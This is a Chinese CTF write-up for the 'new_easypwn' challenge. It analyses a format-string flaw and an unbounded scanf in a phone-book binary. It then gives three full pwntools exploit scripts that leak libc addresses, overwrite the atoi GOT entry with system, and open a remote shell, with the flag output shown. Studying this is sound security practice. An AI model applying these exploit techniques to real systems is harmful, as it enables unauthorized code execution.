攻防世界-PWN-new_easypwn

20 篇文章 0 订阅

攻防世界-PWN-new_easypwn

检查保护机制

healer@healer-virtual-machine:~/Desktop/attachments$ checksec hello
[*] '/home/healer/Desktop/attachments/hello'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
healer@healer-virtual-machine:~/Desktop/attachments$ readelf -h hello
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Shared object file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0xa00
  Start of program headers:          64 (bytes into file)
  Start of section headers:          8648 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         29
  Section header string table index: 28

攻击点分析

简单分析完程序功能后,是一个可以记录4个电话号码信息的软件,有堆块,有结构体,数据的组织情况参考下面的结构

pwndbg> x/30xg 0x5555557560b0
0x5555557560b0 <stdin>:	0x00007ffff7dd18e0	0x0000000400000000     
                                            记录已存储个数
0x5555557560c0:	0x0000000a0000000a	0x0000000c0000000a
                依次记录每一个号码的描述信息长度
0x5555557560d0:	0x0000000000000000	0x0000000000000000
0x5555557560e0:	0x3837363534333231	0x6174736574313039
                字符串依次前11个字符是号码数据内容,第2个字符开始是姓名信息
0x5555557560f0:	0x0000000000000000	0x0000555555757010
                                     指向描述信息的堆块
0x555555756100:	0x3232323232323232	0x6274736574323232
0x555555756110:	0x0000000000000000	0x0000555555757030
0x555555756120:	0x3333333333333333	0x6374736574333333
0x555555756130:	0x0000000000000000	0x0000555555757050
0x555555756140:	0x3837363534333231	0x7171717171313039
0x555555756150:	0x0000000000000071	0x0000555555757070
0x555555756160:	0x0000000000000000	0x0000000000000000


pwndbg> vis

0x555555757000	0x0000000000000000	0x0000000000000021	........!.......
0x555555757010	0x6161616161616161	0x0000000000000000	aaaaaaaa........
                描述信息
0x555555757020	0x0000000000000000	0x0000000000000021	........!.......
0x555555757030	0x6161616161616161	0x0000000000000000	aaaaaaaa........
0x555555757040	0x0000000000000000	0x0000000000000021	........!.......
0x555555757050	0x6161616161616161	0x0000000000000000	aaaaaaaa........
0x555555757060	0x0000000000000000	0x0000000000000021	........!.......
0x555555757070	0x7771777177717771	0x0000000000007771	qwqwqwqwqw......
0x555555757080	0x0000000000000000	0x0000000000020f81	................	 <-- Top chunk

格式化字符串漏洞

unsigned __int64 show_10EB()    // 功能3 show
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("input index:");
  __isoc99_scanf("%d", &v1);
  if ( v1 >= 0 && v1 <= 3 && *((_BYTE *)&unk_2020EB + 0x20 * v1) )
  {
    printf("number:", &v1);
    printf((const char *)&unk_2020E0 + 0x20 * v1);  //电话号码打印存在格式化字符串漏洞
    printf("\nname:%s\n", (char *)&unk_2020E0 + 0x20 * v1 + 11);
    printf("des:%s\n", qword_2020F8[4 * v1]);
  }
  else
  {
    puts("bad index!");
  }
  return __readfsqword(0x28u) ^ v2;
}

格式化字符串长度只有11位,输入的名字信息会隔断电话号码11位结束之后的位置,突破长度11限制的方法就是通过将numbername拼接起来可实现延长格式化字符串的效果

add_node("%p%p%p%p%p%","p%p%p%p%p","10","a"*8)
pwndbg> x/30xg 0x5555557560b0
0x5555557560b0 <stdin>:	0x00007ffff7dd18e0	0x0000000200000000
0x5555557560c0:	0x0000000a0000000a	0x0000000000000000
0x5555557560d0:	0x0000000000000000	0x0000000000000000
0x5555557560e0:	0x3837363534333231	0x6174736574313039
0x5555557560f0:	0x0000000000000000	0x0000555555757010
0x555555756100:	0x7025702570257025	0x7025702570257025
0x555555756110:	0x0000000070257025	0x0000555555757030
0x555555756120:	0x0000000000000000	0x0000000000000000
pwndbg> x/5s 0x555555756100
0x555555756100:	"%p%p%p%p%p%p%p%p%p%p"     #number+name
0x555555756115:	""
0x555555756116:	""

通过格式化字符串漏洞,可以泄漏栈空间中的地址,即可获得ELF文件的加载地址,以及libc文件的加载地址,通过控制栈空间中的指针,选择两个指针嵌套的栈地址,例如:栈地址A->栈地址B(一般栈空间的指针之间比较接近,可以只修改最后一个字节,便使其指向我们想要的地方),控制两个指针修改栈空间中的某个类似.bss段的地址(这样只需要修改想要的指针低三字节的数据,我实践过程中一般格式化字符串修改成功的可以一次一个字节,或者两个字节,一次四个字节的数据没有写成功过),需要两个栈地址就是因为一个指向需要修改的位置A,另一个指向A+2,因为我们写入的内容全部在.bss段或者堆空间中,栈空间值无法直接写入我们想要的指针,而%x$n修改内存的位置需要一个合适的指针,所以这个时候通过劫持两个栈指针嵌套的组合,可实现间接在栈空间中构造一个想要的指针,详细参考下面的注释。

pwndbg> stack 50
00:0000│ rsp  0x7fffffffdd30 ◂— 0x255757070
01:0008│      0x7fffffffdd38 ◂— 0x1c594f1e5a48ad00
02:0010│ rbp  0x7fffffffdd40 —▸ 0x7fffffffdd60 —▸ 0x5555555552a0 ◂— push   r15
03:0018│      0x7fffffffdd48 —▸ 0x555555555274 ◂— jmp    0x555555555294
04:0020│      0x7fffffffdd50 —▸ 0x7fffffffde40 ◂— 0x1
05:0028│      0x7fffffffdd58 ◂— 0x300000000
06:0030│      0x7fffffffdd60 —▸ 0x5555555552a0 ◂— push   r15
07:0038│      0x7fffffffdd68 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov    edi, eax
08:0040│      0x7fffffffdd70 ◂— 0x1
09:0048│      0x7fffffffdd78 —▸ 0x7fffffffde48 —▸ 0x7fffffffde10 —▸ 0x5555557560f8 —▸ 0x555555757010 ◂— ...
                                1、这里的栈地址0x7fffffffde48,指向另一个栈地址(已被修改)
0a:0050│      0x7fffffffdd80 ◂— 0x1f7ffcca0
0b:0058│      0x7fffffffdd88 —▸ 0x555555555213 ◂— push   rbp
0c:0060│      0x7fffffffdd90 ◂— 0x0
0d:0068│      0x7fffffffdd98 ◂— 0xa2c85ca5df602a7d
0e:0070│      0x7fffffffdda0 —▸ 0x555555554a00 ◂— xor    ebp, ebp
0f:0078│      0x7fffffffdda8 —▸ 0x7fffffffde40 ◂— 0x1
10:0080│      0x7fffffffddb0 ◂— 0x0
... ↓
12:0090│      0x7fffffffddc0 ◂— 0xf79d09f0c0c02a7d
13:0098│      0x7fffffffddc8 ◂— 0xf79d194ad5d02a7d
14:00a0│      0x7fffffffddd0 ◂— 0x0
... ↓
17:00b8│      0x7fffffffdde8 —▸ 0x7fffffffde58 —▸ 0x7fffffffde12 ◂— 0xde40000055555575 /* 'uUUU' */
                                2、这里的栈地址0x7fffffffde58,也指向另一个栈地址(已被修改)
18:00c0│      0x7fffffffddf0 —▸ 0x7ffff7ffe168 —▸ 0x555555554000 ◂— jg     0x555555554047
19:00c8│      0x7fffffffddf8 —▸ 0x7ffff7de780b (_dl_init+139) ◂— jmp    0x7ffff7de77e0
1a:00d0│      0x7fffffffde00 ◂— 0x0
... ↓
1c:00e0│      0x7fffffffde10 —▸ 0x5555557560f8 —▸ 0x555555757010 ◂— 'aaaaaaaa'
                                5、有了下面步骤3和4的指针可修改此处,
                                使其指向记录电话号码信息的结构体中原本指向堆空间的位置,
                                再次借助此指针便可以修改指向堆的指针,使其指向got表,
                                利用程序自身的编辑功能,即可实现劫持got表
1d:00e8│      0x7fffffffde18 —▸ 0x7fffffffde40 ◂— 0x1
1e:00f0│      0x7fffffffde20 ◂— 0x0
1f:00f8│      0x7fffffffde28 —▸ 0x555555554a29 ◂— hlt    
20:0100│      0x7fffffffde30 —▸ 0x7fffffffde38 ◂— 0x1c
21:0108│      0x7fffffffde38 ◂— 0x1c
22:0110│ r13  0x7fffffffde40 ◂— 0x1
23:0118│      0x7fffffffde48 —▸ 0x7fffffffde10 —▸ 0x5555557560f8 —▸ 0x555555757010 ◂— 'aaaaaaaa'
                                3、这里的栈地址可以借助上面的第一个指针修改(已修改,A)
24:0120│      0x7fffffffde50 ◂— 0x0
25:0128│      0x7fffffffde58 —▸ 0x7fffffffde12 ◂— 0xde40000055555575 /* 'uUUU' */
                                4、这里的栈地址可以借助上面的第二个指针修改(已修改,A+2)

上面的栈空间是纯靠格式化字符串漏洞利用的过程中,布局比较完整的一个瞬间,多次利用%x$n方法,最终将我们想要的指针放在栈空间,然后利用指针修改目标位置,此时有个疑问,为什么不直接将0x7fffffffde10处的地址修改成atoi()函数的got表地址,还要借助程序自身的编辑功能绕一下,是因为程序自身的格式化字符串长度有限写到24个字符(number+name)之后,跟着的堆地址指针,有可能会截断格式化字符串,导致无法一次性将三个字节写到目标位置,因为要覆盖的atoi()函数在功能选择的时候会被执行,分两次修改的话在第二次修改的时候会导致程序的崩溃,因为第一次修改之后atoi()函数仔细情的是一个不完整的错误地址。一次性修改可能包含两个大数,使得格式化字符串长度超过24.

逻辑漏洞(终极办法)

unsigned __int64 edit_CCE()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("input index:");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 3 )
  {
    puts("bad index!");
  }
  else
  {
    printf("phone number:", &v1);
    __isoc99_scanf("%s", (char *)&unk_2020E0 + 32 * v1);
    printf("name:");
    __isoc99_scanf("%s", (char *)&unk_2020E0 + 32 * v1 + 11);
    printf("des info:");
    read(0, (void *)qword_2020F8[4 * v1], (signed int)dword_2020C0[v1]);
  }
  return __readfsqword(0x28u) ^ v2;
}

且看编辑功能函数,在读取number内容与name内容时没有长度限制,通过添加功能添加一个节点之后,直接利用编辑功能将我们想要的目标函数的got表地址直接写入堆空间指针的位置,通过格式化字符串拿到我们想要的地址之后,直接编辑写入目标指针,然后放入system函数地址即可

add_node("12345678901","aaaa","10","a"*8)
add_node("%13$p%12$p%","15$p%p%p%p%p%p","10","a"*8)
show_node("1")
io.recvuntil("0x")
libc_start_main = int(io.recv(12),16) - 240

libcbase = libc_start_main - libc.symbols["__libc_start_main"]
system_addr = libcbase + libc.symbols["system"]

elf_base = int(io.recv(14)[2:],16)&0xfffffffffffff000 - 0x1000
atoi_got = elf.got["atoi"] + elf_base
log.success("Get atoi_got address : {}".format(hex(atoi_got)))

payload = b"1"*11 + b"2"*5 + b"c"*8 + p64(atoi_got)
edit_node("0",payload[0:11],payload[11:],p64(system_addr))

解题脚本

这个题接的过程中走一点弯路,下面是不同版本的解决方法

纯格式化字符串漏洞利用方式,本地执行成功远程不行

脚本一(LibcSearcher方法)

from pwn import *
from LibcSearcher import *

# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = 'debug'

# io = process("./hello")
# nc 61.147.171.105 62211
io = remote("61.147.171.105",62211)
elf = ELF("./hello")

libc = ELF("./libc-2.23.so")

def add_node(ph_num,names,des_length,des_info):
    io.recvuntil("your choice>>")
    io.send("1")
    io.recvuntil("phone number:")
    io.sendline(ph_num)
    io.recvuntil("name:")
    io.sendline(names)
    io.recvuntil("input des size:")
    io.sendline(des_length)
    io.recvuntil("des info:")
    io.sendline(des_info)

def del_node(node_index):
    io.recvuntil("your choice>>")
    io.sendline("2")
    io.recvuntil("input index:")
    io.sendline(node_index)

def show_node(node_index):
    io.recvuntil("your choice>>")
    io.sendline("3")
    io.recvuntil("input index:")
    io.sendline(node_index)

def edit_node(node_index,ph_num,names,des_info):
    io.recvuntil("your choice>>")
    io.sendline("4")
    io.recvuntil("input index:")
    io.sendline(node_index)
    io.recvuntil("phone number:")
    io.sendline(ph_num)
    io.recvuntil("name:")
    io.sendline(names)
    io.recvuntil("des info:")
    io.sendline(des_info)

# gdb.attach(io,"b * $rebase(0xe13)\nb * $rebase(0x1190)")
add_node("12345678901","testa","10","a"*8)
add_node("%13$p%12$p%","15$p%p%p%p%p%p","10","a"*8)
show_node("1")
io.recvuntil("0x")
libc_start_main = int(io.recv(12),16) - 240
obj = LibcSearcher("__libc_start_main",libc_start_main)
libcbase = libc_start_main - obj.dump("__libc_start_main")
system_addr = libcbase + obj.dump("system")
log.success("Get system_addr address : {}".format(hex(system_addr)))
bin_sh_addr = libcbase + obj.dump("str_bin_sh")
log.success("Get bin_sh_addr address : {}".format(hex(bin_sh_addr)))

atoi_addr = libcbase + obj.dump("atoi")
log.success("Get atoi_addr address : {}".format(hex(atoi_addr)))



elf_base = int(io.recv(14)[2:],16)&0xfffffffffffff000 - 0x1000
atoi_got = elf.got["atoi"] + elf_base 
log.success("Get atoi_got address : {}".format(hex(atoi_got)))
node1_addr = elf_base + 0x2020e0 + 0x18
log.success("Get node1_addr address : {}".format(hex(node1_addr)))

stack_09_val = int(io.recv(14)[2:],16)
log.success("Get stack_09_val address : {}".format(hex(stack_09_val)))
stack_09_addr = stack_09_val - (0xe48-0xd78)
# print(hex(stack_09_addr))

stack_1c_addr = stack_09_addr + (0xe0-0x48)
# print(hex(stack_1c_addr))
stack_1c_addr_low_W = stack_1c_addr & 0xffff
# print(hex(stack_1c_addr_low_W))
payload = "%"+str(stack_1c_addr_low_W)+"c%15$hn" + "%"+str(2)+"c%29$hn"
add_node(payload[0:11],payload[11:],"10","a"*8)
show_node("2")

node1_addr_low_W = node1_addr & 0xffff
node1_addr_B = (node1_addr & 0xff0000)//0x10000
print(hex(node1_addr_B),hex(node1_addr_low_W))
payload = "%"+str(node1_addr_low_W)+"c%41$hn"
add_node(payload[0:11],payload[11:],"10","a"*8)
show_node("3")

payload = "%"+str(node1_addr_B)+"c%43$hhn"
edit_node("3",payload[0:11],payload[11:],"a"*8)
show_node("3")

payload = "%"+str(atoi_got&0xffff)+"c%34$hn"
edit_node("2",payload[0:11],payload[11:],"a"*8)
show_node("2")

edit_node("0","12345678901","get_you",p64(system_addr))
io.recvuntil("your choice>>")
io.sendline("/bin/sh")

io.interactive()

脚本二(本地libc方法)

此方法是上一个脚本,本地可以成功远程,但是远程始终不行,考虑可能是受到libc文件的影响,使用题目提供的一个方法

from pwn import *
from LibcSearcher import *

# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = 'debug'

# io = process("./hello")
# nc 61.147.171.105 62211
io = remote("61.147.171.105",62211)
elf = ELF("./hello")

libc = ELF("./libc-2.23.so")

def add_node(ph_num,names,des_length,des_info):
    io.recvuntil("your choice>>")
    io.send("1")
    io.recvuntil("phone number:")
    io.sendline(ph_num)
    io.recvuntil("name:")
    io.sendline(names)
    io.recvuntil("input des size:")
    io.sendline(des_length)
    io.recvuntil("des info:")
    io.sendline(des_info)

def del_node(node_index):
    io.recvuntil("your choice>>")
    io.sendline("2")
    io.recvuntil("input index:")
    io.sendline(node_index)

def show_node(node_index):
    io.recvuntil("your choice>>")
    io.sendline("3")
    io.recvuntil("input index:")
    io.sendline(node_index)

def edit_node(node_index,ph_num,names,des_info):
    io.recvuntil("your choice>>")
    io.sendline("4")
    io.recvuntil("input index:")
    io.sendline(node_index)
    io.recvuntil("phone number:")
    io.sendline(ph_num)
    io.recvuntil("name:")
    io.sendline(names)
    io.recvuntil("des info:")
    io.sendline(des_info)

# gdb.attach(io,"b * $rebase(0xe13)\nb * $rebase(0x1190)")
add_node("12345678901","z"*(24-11),"10","a"*8)
add_node("%13$p%12$p%","15$p%p%p%p%p%p","10","a"*8)
show_node("1")
io.recvuntil("0x")
libc_start_main = int(io.recv(12),16) - 240

libcbase = libc_start_main - libc.symbols["__libc_start_main"]
system_addr = libcbase + libc.symbols["system"]
# atoi_got


elf_base = int(io.recv(14)[2:],16)&0xfffffffffffff000 - 0x1000
atoi_got = elf.got["atoi"] + elf_base 
log.success("Get atoi_got address : {}".format(hex(atoi_got)))
node1_addr = elf_base + 0x2020e0 + 0x18
log.success("Get node1_addr address : {}".format(hex(node1_addr)))

stack_09_val = int(io.recv(14)[2:],16)
log.success("Get stack_09_val address : {}".format(hex(stack_09_val)))
stack_09_addr = stack_09_val - (0xe48-0xd78)
# print(hex(stack_09_addr))

stack_1c_addr = stack_09_addr + (0xe0-0x48)
# print(hex(stack_1c_addr))
stack_1c_addr_low_W = stack_1c_addr & 0xffff
# print(hex(stack_1c_addr_low_W))
payload = "%"+str(stack_1c_addr_low_W)+"c%15$hn" + "%"+str(2)+"c%29$hn"
add_node(payload[0:11],payload[11:],"10","a"*8)
show_node("2")

node1_addr_low_W = node1_addr & 0xffff
node1_addr_B = (node1_addr & 0xff0000)//0x10000
print(hex(node1_addr_B),hex(node1_addr_low_W))
payload = "%"+str(node1_addr_low_W)+"c%41$hn"
add_node(payload[0:11],payload[11:],"10","a"*8)
show_node("3")

payload = "%"+str(node1_addr_B)+"c%43$hhn"
edit_node("3",payload[0:11],payload[11:],"a"*8)
show_node("3")

payload = "%"+str(atoi_got&0xffff)+"c%34$hn"
edit_node("2",payload[0:11],payload[11:],"a"*8)
show_node("2")
print("------------------------------------------------------------")
show_node("0")
edit_node("0","12345678901","get_you",p64(system_addr))

io.recvuntil("your choice>>")
io.sendline("/bin/sh")

io.interactive()

脚本三(终极捷径)

在经历前两个脚本始终不行的前提下,又回头看了一下题目,发现了简单的方法,直接简单到爆炸

from pwn import *
from LibcSearcher import *

# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = 'debug'

# io = process("./hello")
io = remote("61.147.171.105",51501)
elf = ELF("./hello")

libc = ELF("./libc-2.23.so")

def add_node(ph_num,names,des_length,des_info):
    io.recvuntil("your choice>>")
    io.send("1")
    io.recvuntil("phone number:")
    io.sendline(ph_num)
    io.recvuntil("name:")
    io.sendline(names)
    io.recvuntil("input des size:")
    io.sendline(des_length)
    io.recvuntil("des info:")
    io.sendline(des_info)

def del_node(node_index):
    io.recvuntil("your choice>>")
    io.sendline("2")
    io.recvuntil("input index:")
    io.sendline(node_index)

def show_node(node_index):
    io.recvuntil("your choice>>")
    io.sendline("3")
    io.recvuntil("input index:")
    io.sendline(node_index)

def edit_node(node_index,ph_num,names,des_info):
    io.recvuntil("your choice>>")
    io.sendline("4")
    io.recvuntil("input index:")
    io.sendline(node_index)
    io.recvuntil("phone number:")
    io.sendline(ph_num)
    io.recvuntil("name:")
    io.sendline(names)
    io.recvuntil("des info:")
    io.sendline(des_info)

# gdb.attach(io,"b * $rebase(0xe13)\nb * $rebase(0x1190)\nb * $rebase(0xe11)")
add_node("12345678901","aaaa","10","a"*8)
add_node("%13$p%12$p%","15$p%p%p%p%p%p","10","a"*8)
show_node("1")
io.recvuntil("0x")
libc_start_main = int(io.recv(12),16) - 240

libcbase = libc_start_main - libc.symbols["__libc_start_main"]
system_addr = libcbase + libc.symbols["system"]
# atoi_got


elf_base = int(io.recv(14)[2:],16)&0xfffffffffffff000 - 0x1000
atoi_got = elf.got["atoi"] + elf_base
log.success("Get atoi_got address : {}".format(hex(atoi_got)))

payload = b"1"*11 + b"2"*5 + b"c"*8 + p64(atoi_got)
edit_node("0",payload[0:11],payload[11:],p64(system_addr))

io.recvuntil("your choice>>")
io.sendline("/bin/sh")
io.interactive()

执行结果

远程执行结果

[DEBUG] Sent 0x8 bytes:
    b'/bin/sh\n'
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x23 bytes:
    b'bin\n'
    b'dev\n'
    b'flag\n'
    b'hello\n'
    b'lib\n'
    b'lib32\n'
    b'lib64\n'
bin
dev
flag
hello
lib
lib32
lib64
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x27 bytes:
    b'flag{612ea967e4e5660a863966365ddc4947}\n'
flag{612ea967e4e5660a863966365ddc4947
  • 5
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值